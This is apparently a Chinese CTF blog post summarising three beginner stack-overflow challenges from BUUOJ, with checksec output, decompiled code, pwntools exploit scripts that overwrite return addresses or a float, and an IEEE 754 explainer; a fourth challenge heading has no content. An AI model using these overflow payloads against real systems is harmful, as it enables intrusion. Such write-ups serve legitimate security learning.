stack_sum_up

不同类型的题目汇总

https://buuoj.cn/challenges#rip [ 最简单的rop ]

checksec:

1
2
3
4
5
6
7
8
9
10
briteny@localhost:/mnt/d/scr1w/pwn1$ checksec pwn1
[*] '/mnt/d/scr1w/pwn1/pwn1'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
Stripped: No

IDA_main:

1
2
3
4
5
6
7
8
9
10
int __fastcall main(int argc, const char **argv, const char **envp)
{
char s[15]; // [rsp+1h] [rbp-Fh] BYREF

puts("please input");
gets(s, argv);
puts(s);
puts("ok,bye!!!");
return 0;
}

IDA_fun: [ backdoor_addr = 0x401186 ]

1
2
3
4
int fun()
{
return system("/bin/sh");
}

计算溢出长度 [ 缓冲区长度+old_ebp长度 [ 由程序位数决定 ] ]最后再加上目标返回地址,即后门函数的首地址加一位

exploit:

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import * 

#r = remote('IP',port)
r = process('./rip')

fun_addr = 0x401186

payload1 = b'a' * ( 0xF + 0x8 ) + p64( fun_addr + 1 )

r.recvuntil('please input\n')
r.sendline(payload1)
r.interactive()

https://buuoj.cn/challenges#ciscn_2019_n_1 [ 浮点数在计算机中的存储方式 IEEE 754标准 ]

checksec:

1
2
3
4
5
6
7
8
briteny@localhost:/mnt/d/scr1w/pwn3$ checksec ciscn_2019_n_1
[*] '/mnt/d/scr1w/pwn3/ciscn_2019_n_1'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No

IDA_main:

1
2
3
4
5
6
7
int __fastcall main(int argc, const char **argv, const char **envp)
{
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
func();
return 0;
}

IDA_func:

1
2
3
4
5
6
7
8
9
10
11
12
13
int func()
{
char v1[44]; // [rsp+0h] [rbp-30h] BYREF
float v2; // [rsp+2Ch] [rbp-4h]

v2 = 0.0;
puts("Let's guess the number.");
gets(v1);
if ( v2 == 11.28125 )
return system("cat /flag");
else
return puts("Its value should be 11.28125");
}

通过get的溢出覆盖掉v2,使得v2满足条件后cat /flag

exploit:

1
2
3
4
5
6
7
8
9
from pwn import *

#r = remote('IP',port)
r = process('./ciscn_2019_n_1')

payload1 = b'a' * 44 + p64(0x41348000)

r.sendline(payload1)
r.interactive()

IEEE 754规则

float位数分配:

总共有32位,其中符号位1位,指数位8位,尾数位23位

double位数分配:

总共有64位,其中符号位1位,指数位11位,尾数位52位。

特殊值的表示:
零:当指数位和尾数位都为0时,表示数值0。正零的符号位为0,负零的符号位为1。
无穷大和无穷小:当指数位为全1,尾数位为0时,表示无穷大或无穷小。符号位为0表示正无穷大,符号位为1表示负无穷大。
NaN(Not a Number):当指数位为全1,尾数位不为0时,表示NaN。NaN用于表示一些非法的数值操作结果,如0除以0等。

以单精度浮点数计算3.14的表示举例说明:

3.14 其二进制表示为11.00100011110101110000101(取到足够精度)。

首先将其转换为科学计数法形式1.100100011110101110000101×2^1。

符号位为0(正数),

指数位为1+127(偏移量)=128,

二进制表示为10000000。

尾数位去掉整数部分的1,保留小数部分,即100100011110101110000101。

最终存储为0 10000000 100100011110101110000101

这其中小数部分转化为二进制步骤如下

1.小数位0.14,0.14 * 2=0.28,整数位为0,取0
2.小数位0.28,0.28 * 2=0.56,整数位为0,取0
3.小数位0.56,0.56 * 2=1.12,整数位为1,取1
4.小数位0.12,0.12 * 2=0.24,整数位为0,取0

依次类推

指数位的计算:偏移量+二进制表示形式的指数
float型的偏移量为127,double的偏移量为1023

尾数位,去掉整数部分的1,就是尾数位

https://buuoj.cn/challenges#pwn1_sctf_2016 [ C++语法 ]

checksec:

1
2
3
4
5
6
7
8
briteny@localhost:/mnt/d/scr1w/pwn4$ checksec pwn1_sctf_2016
[*] '/mnt/d/scr1w/pwn4/pwn1_sctf_2016'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No

IDA_main:

1
2
3
4
5
int __cdecl main(int argc, const char **argv, const char **envp)
{
vuln();
return 0;
}

IDA_vuln:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
int vuln()
{
const char *v0; // eax
char s[32]; // [esp+1Ch] [ebp-3Ch] BYREF
char v3[4]; // [esp+3Ch] [ebp-1Ch] BYREF
char v4[7]; // [esp+40h] [ebp-18h] BYREF
char v5; // [esp+47h] [ebp-11h] BYREF
char v6[7]; // [esp+48h] [ebp-10h] BYREF
char v7[5]; // [esp+4Fh] [ebp-9h] BYREF

printf("Tell me something about yourself: ");
fgets(s, 32, edata);
std::string::operator=(&input, s);
std::allocator<char>::allocator(&v5);
std::string::string(v4, "you", &v5);
std::allocator<char>::allocator(v7);
std::string::string(v6, "I", v7);
replace((std::string *)v3);
std::string::operator=(&input, v3, v6, v4);
std::string::~string(v3);
std::string::~string(v6);
std::allocator<char>::~allocator(v7);
std::string::~string(v4);
std::allocator<char>::~allocator(&v5);
v0 = (const char *)std::string::c_str((std::string *)&input);
strcpy(s, v0);
return printf("So, %s\n", s);
}

IDA_get_flag:

1
2
3
4
int get_flag()
{
return system("cat flag.txt");
}

计算的溢出长度为 60+4 但是输入限制是60 ,根据函数逻辑 I 替换为 you 所以可以通过这个特性达到溢出64的目的

exploit:

1
2
3
4
5
6
7
8
9
10
11
from pwn import * 


#r = remote('IP',port)
r = process('./pwn1_sctf_2016')

ret_addr = 0x08048F0D
payload1 = b'I' * 20 + b'a' * 4 + P32(ret_addr + 1)

r.sendline(payload1)
r.interactive()

https://buuoj.cn/challenges#[第五空间2019决赛]PWN5 [ 格式化字符串漏洞 ]


stack_sum_up
http://example.com/WP/
作者
briteny-pwn
发布于
2025年2月28日
许可协议